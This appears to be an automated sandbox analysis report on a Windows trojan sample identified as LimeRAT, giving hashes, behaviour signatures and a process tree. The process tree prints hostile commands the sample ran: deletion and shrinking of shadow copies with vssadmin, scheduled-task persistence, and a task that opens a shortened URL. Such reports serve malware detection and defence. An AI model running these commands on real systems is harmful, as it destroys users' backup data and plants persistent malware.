Analysis

  • max time kernel
    96s
  • max time network
    97s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27-09-2022 18:11

General

  • Target

    HEUR-Trojan.Win32.Generic-d456bdf29f0f73886178ad1b097a57a4de9b0e5420cc2a8a2746406500889845.exe

  • Size

    330KB

  • MD5

    72efeddca26a5d0a789631998394a2bb

  • SHA1

    8d0490107f947cd1e78c89905eede3312bc402ee

  • SHA256

    d456bdf29f0f73886178ad1b097a57a4de9b0e5420cc2a8a2746406500889845

  • SHA512

    344549d18f9fe37b0be7bb5610104ed1551f1e2746ce98ed4f990db52f9c9743102861e25865f6dcb0aed392899cdc4679ed29cf9a4c85e3c76737dac61af6d2

  • SSDEEP

    3072:yI/0W1y4RbVFufrbjKYOPwAEoznq1vK7rbKO6oqoO0MCSgZNz:yRky4R0bDDknq1cm70QiN

Malware Config

Signatures

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Executes dropped EXE 1 IoCs
  • Drops desktop.ini file(s) 3 IoCs
  • Enumerates connected drives 3 TTPs 17 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Interacts with shadow copies 2 TTPs 12 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan.Win32.Generic-d456bdf29f0f73886178ad1b097a57a4de9b0e5420cc2a8a2746406500889845.exe
    "C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan.Win32.Generic-d456bdf29f0f73886178ad1b097a57a4de9b0e5420cc2a8a2746406500889845.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Modifies security service
    • Drops desktop.ini file(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc MINUTE /mo 30 /RL LIMITED /tn UpdateDMR /tr "'C:\Users\Admin\AppData\Local\Temp\Help\TRACERT.exe'"
      2⤵
      • Creates scheduled task(s)
      PID:1788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1296
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
      2⤵
        PID:1884
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
          3⤵
          • Interacts with shadow copies
          PID:984
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:1404
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:944
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:540
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1100
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:692
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
          3⤵
            PID:1616
        • C:\Windows\system32\cmd.exe
          cmd /c vssadmin Delete Shadows /all /quiet
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\system32\vssadmin.exe
            vssadmin Delete Shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:664
        • C:\Windows\system32\cmd.exe
          cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2000
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
            3⤵
            • Enumerates connected drives
            • Interacts with shadow copies
            PID:1312
        • C:\Windows\system32\cmd.exe
          cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:512
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
            3⤵
            • Enumerates connected drives
            • Interacts with shadow copies
            PID:604
        • C:\Windows\system32\cmd.exe
          cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
          2⤵
            PID:1060
            • C:\Windows\system32\vssadmin.exe
              vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
              3⤵
              • Enumerates connected drives
              • Interacts with shadow copies
              PID:316
          • C:\Windows\system32\cmd.exe
            cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
            2⤵
              PID:1948
              • C:\Windows\system32\vssadmin.exe
                vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
                3⤵
                • Enumerates connected drives
                • Interacts with shadow copies
                PID:1896
            • C:\Windows\system32\cmd.exe
              cmd /c Vssadmin delete shadowstorage /all /quiet
              2⤵
                PID:980
                • C:\Windows\system32\vssadmin.exe
                  Vssadmin delete shadowstorage /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:732
              • C:\Windows\system32\cmd.exe
                cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
                2⤵
                  PID:1704
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1808
                • C:\Windows\system32\cmd.exe
                  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                  2⤵
                    PID:1708
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                      3⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:680
                  • C:\Windows\system32\cmd.exe
                    cmd /C schtasks /create /f /st "22:45" /sc daily /mo "26" /tn "UPnPHostConfig" /tr "'explorer'http://bit.ly/2rkW7gZ"
                    2⤵
                      PID:2452
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /st "22:45" /sc daily /mo "26" /tn "UPnPHostConfig" /tr "'explorer'http://bit.ly/2rkW7gZ"
                        3⤵
                        • Creates scheduled task(s)
                        PID:2480
                    • C:\Users\Admin\AppData\Local\Temp\Help\TRACERT.exe
                      "C:\Users\Admin\AppData\Local\Temp\Help\TRACERT.exe"
                      2⤵
                      • Executes dropped EXE
                      • Drops desktop.ini file(s)
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2512
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /sc MINUTE /mo 30 /RL LIMITED /tn UpdateDMR /tr "'C:\Users\Admin\AppData\Local\Temp\Help\TRACERT.exe'"
                        3⤵
                        • Creates scheduled task(s)
                        PID:2576
                      • C:\Windows\system32\WerFault.exe
                        C:\Windows\system32\WerFault.exe -u -p 2512 -s 3060
                        3⤵
                        • Program crash
                        PID:1964
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1476

                  Network

                  MITRE ATT&CK Enterprise v6

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\Help\TRACERT.exe

                    Filesize

                    330KB

                    MD5

                    72efeddca26a5d0a789631998394a2bb

                    SHA1

                    8d0490107f947cd1e78c89905eede3312bc402ee

                    SHA256

                    d456bdf29f0f73886178ad1b097a57a4de9b0e5420cc2a8a2746406500889845

                    SHA512

                    344549d18f9fe37b0be7bb5610104ed1551f1e2746ce98ed4f990db52f9c9743102861e25865f6dcb0aed392899cdc4679ed29cf9a4c85e3c76737dac61af6d2

                  • C:\Users\Admin\AppData\Local\Temp\Help\TRACERT.exe

                    Filesize

                    330KB

                    MD5

                    72efeddca26a5d0a789631998394a2bb

                    SHA1

                    8d0490107f947cd1e78c89905eede3312bc402ee

                    SHA256

                    d456bdf29f0f73886178ad1b097a57a4de9b0e5420cc2a8a2746406500889845

                    SHA512

                    344549d18f9fe37b0be7bb5610104ed1551f1e2746ce98ed4f990db52f9c9743102861e25865f6dcb0aed392899cdc4679ed29cf9a4c85e3c76737dac61af6d2

                  • C:\Users\Admin\AppData\Roaming\LinkM\TRACERT.exe.lnk

                    Filesize

                    1KB

                    MD5

                    77c25f2b0fb4f118d5f0d3a6e1a17d39

                    SHA1

                    d4e62fb116b2b718bec7d6d7f1bc666b8becc489

                    SHA256

                    e8597a9cc390e3881ba8d354189dea6ab569db16f2c81af2526614549304d507

                    SHA512

                    74a834e3a73fb7cbdbcc8aae11cd89cbad1075adf7bf3c0a968e2d49c6c535217a1c910eca837af7d19a65d400c8617d07512e80a6dbf2cc46d15d2491343816

                  • memory/532-54-0x0000000000BA0000-0x0000000000BF8000-memory.dmp

                    Filesize

                    352KB

                  • memory/1296-61-0x00000000028CB000-0x00000000028EA000-memory.dmp

                    Filesize

                    124KB

                  • memory/1296-60-0x00000000028C4000-0x00000000028C7000-memory.dmp

                    Filesize

                    12KB

                  • memory/1296-59-0x000007FEEB270000-0x000007FEEBDCD000-memory.dmp

                    Filesize

                    11.4MB

                  • memory/1296-58-0x000007FEEBDD0000-0x000007FEEC7F3000-memory.dmp

                    Filesize

                    10.1MB

                  • memory/1296-57-0x000007FEFB751000-0x000007FEFB753000-memory.dmp

                    Filesize

                    8KB

                  • memory/2512-93-0x0000000000C90000-0x0000000000CE8000-memory.dmp

                    Filesize

                    352KB

                  • memory/2512-97-0x000000001B2C6000-0x000000001B2E5000-memory.dmp

                    Filesize

                    124KB

                  • memory/2512-98-0x000000001B306000-0x000000001B30A000-memory.dmp

                    Filesize

                    16KB